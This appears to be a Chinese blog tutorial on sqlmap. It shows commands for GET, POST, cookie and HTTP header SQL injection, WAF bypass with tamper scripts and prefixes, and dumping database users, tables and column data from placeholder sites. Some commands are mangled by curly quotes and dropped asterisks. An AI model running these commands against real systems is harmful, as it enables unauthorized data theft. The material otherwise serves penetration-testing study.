Sqlmap的各种注入姿势
in 安全技巧 with 0 comment

Sqlmap的各种注入姿势

in 安全技巧 with 0 comment

在网上看了下各种sqlmap的使用,有很多资料,wooyun上有大牛写的各种参数详细解释的
结合平时的使用,写一下遇到不同注入点的时候怎么用sqlmap进行注入

0x01 特殊参数

首先如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的
可以使用-v参数。共有七个等级,默认为1(-v 1):

如果你想看到sqlmap发送的测试payload最好的等级就是3(-v 3)
然后我们再讲一个level参数,默认情况下SQLMAP只支持GET/POST参数的注入测试,
但是当使用--level 参数且数值>=2的时候也会检查cookie时面的参数,
当>=3的时候将检查User-agent和Referer。利用方式就是--level 3

0x02 GET注入

python sqlmap.py -u “http://www.xxx.com/news?id=1” -- current-db  //查当前数据库

python sqlmap.py -u “http://www.xxx.com/news?id=1” --dbs   // 列举数据库

python sqlmap.py -u “http://www.xxx.com/news?id=1” --current-user // 当前用户

python sqlmap.py -u “http://www.xxx.com/news?id=1” --users    // 列数据库用户

python sqlmap.py -u “http://www.xxx.com/news?id=1”  --tables -D “数据库名”   // 列举数据库的表名

python sqlmap.py -u “http://www.xxx.com/news?id=1”   --columns  -T “表名”  -D “数据库”   // 获取表的列名

python sqlmap.py -u “http://www.xxx.com/news?id=1” --dump -C “字段名” -T “表名” -D “数据库”   // 获取字段中的数据

这就是get注入基本的流程,但是一般的情况下可能会被防火墙阻拦,
遇到这种情况,我们可以利用--prefix 和 --suffix,
还有-tamper指定绕过脚本来绕过waf,我们具体看一下
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

我们直接注入的话,我们注入的语句会被限定在”中,我们需要绕过引号,这时你就需要--prefix和--suffix参数了:

python sqlmap.py -u "http://xxxxxx/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

其中-p是指定注入参数,这里指定的是id,这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1

我们有时还需要利用一些绕过技术,sqlmap提供了很多用于绕过的脚本,在tamper目录下
QQ20170521-162211@2x.png
我们来看一下这些脚本都是怎样运作的
QQ20170521-162237@2x.png
比如这个脚本,它的作用就是把你payload里面的空格变成加号,
在注释的地方也就例子演示,我们可以选用我们需要的脚本
利用方法就是:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py 

这些就是sqlmap中简单的绕过waf的方法,
在后面的post,cookie,http头中也是一样的会用到,只要有过滤的地方,都可以这样用到

0x03 post注入

  1. 使用-data

我们上面讲到了,如果-level设置为>=2就会检查cookie参数,那么post注入的自动方式就是
sqlmap -u “http://www.xxx.com/news?id=1″ –smart --level 1 –users
其中,-smart是快速扫描,只对报错点进行注入
自动扫描肯定效率低,而且很慢,如果我们能确定注入的参数:
sqlmap.py -u “http://www.xxx.com/1.php” --data=”id=1″-dbs
-data就是指定post中能注入的参数,如果你不确定,也可以提交多个参数,sqlmap会一个一个的跑
sqlmap -u “http://www.xxx.com/vuln.php” –data=”query=foobar;id=1″ –param-del=”;” –dbs
其中,-param-del是指定分割字符,这里是;,也就是把-data中的数据按;分开。

2.结合burpsuit使用post注入

首先,我们可以用burpsuite拦截我们的post请求
QQ20170521-162629@2x.png
然后,把这个post请求复制到txt中, 我这命名为search-test.txt
然后把它放至sqlmap目录下,然后我们用如下语句
sqlmap.py -r search-test.txt -p tfUPass -dbs
其中-r是用来从一个文本文件中获取HTTP请求,
我们的http请求在search-test.txt中,
然后我们用-p来指定注入的post参数就可以了,这样是不是更简单,明了

0x04 cookie注入

我们上面讲到了,如果-level设置为>=2就会检查cookie参数,我们使用cookie注入的时候就要设置level了
sqlmap “http://127.0.0.1/base.php” –cookie “id=1″  --dbs --level 2
其中,-cookie是指定cookie中的注入的参数。如果cookie值有多个
sqlmap -u “http://www.xxx.com/vuln.php” --cookie=”query=foobar;id=1″ --param-del=”;” --dbs
在cookie注入中还有几个重要的参数

0x05 http头注入

Sqlmap指定了可以设置http头中的参数

  1. –user-agent=AGENT  指定  HTTP User – Agent头
  2. –random-agent      使用随机选定的HTTP User – Agent头
  3. –referer=REFERER   指定  HTTP Referer头
  4. –headers=HEADERS   换行分开,加入其他的HTTP头

可以用来伪造http头中的参数,注入http头在sqlmap中倒是没有直接注入的方法。
我们上面讲到了,如果-level设置为>=3就会检查referer和user-agent参数,
我们使用设置-level=3可以让它自动检测
sqlmap “http://127.0.0.1/base.php” --dbs --level 3

但是这样的注入效率未免太过低下了,我们利用sqlmap会注入我们指定的*的位置,来注入http头
我们还是用burpsuite抓包,把内容保存到txt中

GET /?id=1 HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
x-forwarded-for: 1*(存在注入)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638
Connection: keep-alive
Cache-Control: max-age=0

我们可以看到,标记的地方,加了一个号,
sqlmap会在
的地方进行注入,这样就能对我们的http头进行注入了
sqlmap -r search-http.txt --level 3 --dbs

最后提一点,我们注入的时候经常碰到那种url重写和伪静态的,同样可以利用*,来进行注入
sqlmap -u “http://www.examples,com/news/2/1*.html” –dbs

sqlmap -u “http://www.examples,com/news/2*/action/1” –dbs

sqlmap入门教程

Comments are closed.